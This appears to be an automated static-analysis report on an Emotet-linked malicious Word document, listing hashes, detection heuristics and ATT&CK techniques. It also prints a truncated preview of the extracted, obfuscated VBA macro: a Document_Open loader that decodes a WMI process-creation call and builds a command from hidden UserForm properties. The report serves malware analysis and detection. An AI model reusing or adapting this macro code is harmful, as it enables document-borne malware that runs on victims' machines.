Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 edcc83eab42c8192…

MALICIOUS

Office (OLE)

174.9 KB Created: 2020-08-10 11:30:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: b1783ab4e5d342e3698ce6cba2d0daea SHA-1: 968e9791726a1e199f76f05231bbc603daa17c11 SHA-256: edcc83eab42c8192a4daa83887285b3884aacec4e95a3f6a17e6b2e3ff40213e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute code, a common technique for Emotet. The 'Document_Open' macro is present, which automatically executes upon opening the document. This suggests the macro is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9257697-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9257697-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4845 bytes
SHA-256: 09901066c7d9bf7f687b9773c56f4264f92cae3f6e6459e74f2d28ad69899a72
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RWDMMfeqybmppxwzx"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
DZPZAoxpayljvz.QLKARxefbiov
End Sub


Attribute VB_Name = "DZPZAoxpayljvz"
Attribute VB_Base = "0{BD246744-74D4-45FE-8F0C-54A814547C14}{D8B84FF1-0996-4B8B-A23C-94A03B897769}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function QLKARxefbiov()
Dim bnIC7BXFP As Integer
bnIC7BXFP = Len("k3ßiBgT8Ö")
Dim ql4ÍkHo As Integer
ql4ÍkHo = 1
Do While ql4ÍkHo < 1 + 3
ql4ÍkHo = ql4ÍkHo + 7: DoEvents
Loop
Dim VnTGhD As Integer
VnTGhD = 6
Do While VnTGhD < 6 + 9
VnTGhD = VnTGhD + 6: DoEvents
Loop
MIKMWxhzirallev = Chr(DZPZAoxpayljvz.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim EWsakgGped As Integer
EWsakgGped = 1
Do While EWsakgGped < 1 + 4
EWsakgGped = EWsakgGped + 9: DoEvents
Loop
KTNNAxqvgehkhaawu = "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2di7892HJGgghjgJH%789H h&219yhuid2dnm7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dgm7892HJGgghjgJH%789H h&219yhuid2dt7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d" + MIKMWxhzirallev + "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d:7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2din7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d37892HJGgghjgJH%789H h&219yhuid2d27892HJGgghjgJH%789H h&219yhuid2d_7892HJGgghjgJH%789H h&219yhuid2d" + DZPZAoxpayljvz.NRFSKpstbytrlaz + "7892HJGgghjgJH%789H h&219yhuid2dro7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dce7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2d"
Dim t5àCoPkgj As Integer
t5àCoPkgj = 4
Do While t5àCoPkgj < 4 + 6
t5àCoPkgj = t5àCoPkgj + 7: DoEvents
Loop
KKHKYjotrkctdhm = FNFFRcxjeozbpzyft(KTNNAxqvgehkhaawu)
Dim pibFblq As String
Set SKZOHwbaoyus = CreateObject(KKHKYjotrkctdhm)
Dim WGu8ÍyhtN As Integer
WGu8ÍyhtN = Len("OVnLrCFgBv")
BXXRLctuilmw = DZPZAoxpayljvz.NRGUNjrryxcniijbtgw.ControlTipText
Dim lqrqsHrC As Object
BOXDDjquwbafqelpun = kljiqbbn2m + (KKHKYjotrkctdhm + MIKMWxhzirallev + DZPZAoxpayljvz.JKYBRbjtdboxzj.ControlTipText + BXXRLctuilmw)
Dim Z4Öf As Object
GRROInpfxuiloknkovl = BOXDDjquwbafqelpun + DZPZAoxpayljvz.NRFSKpstbytrlaz
Dim Br1ÚYapZkp As Integer
Br1ÚYapZkp = Len("BoYNMC")
Set EPJJOdkwbmssemjflnr = TQKGPjbwphzfzwirxrs(GRROInpfxuiloknkovl)
Dim Q7Ìl8ÉD0Êau As Boolean
pos76 = Array(dccv21s + "nnsk ioqy hhdq hdioqe", SKZOHwbaoyus. _
Create(YSGLAdgbuzvoknvf, ZWUCQhphpktydb, EPJJOdkwbmssemjflnr), vkq37y + "klq whuiqguiq ggqj")
Dim GpnGklo As Integer
GpnGklo = Len("dhL8ÇZ5ß")
End Function
Function TQKGPjbwphzfzwirxrs(MWLNTynrhfury)
Set TQKGPjbwphzfzwirxrs = CreateObject(MWLNTynrhfury)
Dim TZagwF As Currency
TQKGPjbwphzfzwirxrs. _
showwindow = KOETZuggeczlnx + XXRELnejfjhpyzcx + ZMRNWqpmtpparvckb
Dim EWCoPkgjbA As Integer
EWCoPkgjbA = Len("jWG")
End Function
Function FNFFRcxjeozbpzyft(DMMSQtsxejswifjr)
XSUATsdeghwapifhv = DMMSQtsxejswifjr
Dim moR7ÒWhdDBb As Integer
moR7ÒWhdDBb = 6
Do While moR7ÒWhdDBb < 6 + 5
moR7ÒWhdDBb = moR7ÒWhdDBb + 6: DoEvents
Loop
NWEXNrvkojmhgar = Split _
(XSUATsdeghwapifhv, "7892HJGgghjgJH%789H h&219yhuid2d")
Dim aVXl As Integer
aVXl = 7
Do While aVXl < 7 + 5
aVXl = aVXl + 8: DoEvents
Loop
HODPUpvyubuahcuha = mmm2 + Join(NWEXNrvkojmhgar, ooo3)
Dim yeECcb As Integer
yeECcb = Len("rdoJD")
FNFFRcxjeozbpzyft = HODPUpvyubuahcuha
Dim GZwfTDr7â As Integer
GZwfTDr7â = 6
Do While GZwfTDr7â < 6 + 5
GZwfTDr7â = GZwfTDr7â + 6: DoEvents
Loop
End Function
Function YSGLAdgbuzvoknvf()
Dim HC0ËhElyrR As Integer
HC0ËhElyrR = 5
Do While HC0ËhElyrR < 5 + 3
HC0ËhElyrR = HC0ËhElyrR
... (truncated)